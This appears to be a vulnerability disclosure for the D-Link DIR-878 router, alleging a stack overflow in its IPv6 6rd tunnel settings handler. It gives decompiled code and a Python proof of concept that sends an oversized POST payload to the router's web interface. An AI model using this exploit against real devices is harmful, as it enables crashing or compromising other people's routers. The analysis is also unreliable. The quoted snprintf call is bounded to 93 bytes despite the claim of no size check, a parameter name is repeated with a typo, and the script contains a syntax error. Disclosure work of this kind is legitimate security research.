D-Link DIR878(1.02B04, 1.02B05) has a Stack Overflow Vulnerability

Product

1. product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-878
2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6519

Affected version

1.02B04, 1.02B05

Vulnerability

```
v26 = (const char *)webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_PrimaryDNS");
if ( !v26 )
  return WebsSetResponseResult(a1, 0);
v27 = (const char *)webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_SecondaryDNS");
if ( !v27 )
  return WebsSetResponseResult(a1, 0);
v28 = webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_LanIPv6AddressAutoAssignment");
if ( !v28 )
  return WebsSetResponseResult(a1, 0);
v29 = webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_LanAutoConfigurationType");
if ( !v29 )
```

In `sub_4883F0` function, `/SetIPv66rdTunnelSettings/IPv6_SeacondaryDNS` and `/SetIPv66rdTunnelSettings/IPv6_SeacondaryDNS` are controllable and will be passed into the `v26` and `v27` variables respectively. Then, `v26` and `v27` will be spliced into `v34` by `snprintf`. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

```
135  nvram_safe_set(v16, byte_4C74B4);
136  v17 = sub_478120((int)v36, (int)"ipv6_dns_manual", (int)v35);
137  nvram_set_int(v17, 1);
138  snprintf(v34, 93, "%s %s", v26, v27);        vuln
139  v18 = sub_478120((int)v36, (int)"ipv6_dns", (int)v35);
140  nvram_safe_set(v18, v34);
141  nvram_safe_set("lan0_ipv6_ipaddr", byte_4C74B4);
142  nvram_set_int("lan0_ipv6_prefix_length", 64);
143  nvram_set_int("lan0_ipv6_ula_enable", 0);
144  if ( !strncmp(v28, "Enable", 6) )
145    nvram_set_int("lan0_ipv6_autoconf_enable", 1);
146  else
147    nvram_set_int("lan0_ipv6_autoconf_enable", 0);
148  nvram_set_int("lan0_ipv6_dhcppd_enable", 0);
149  nvram_safe_set("lan0_ipv6_autoconf_type", v29);
150  if ( *v30 )
```

PoC

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'SetIPv66rdTunnelSettings/SetIPv66rdTunnelSettings=' + p1

p3 = b"POST /SetIPv66rdTunnelSettings" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" +
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```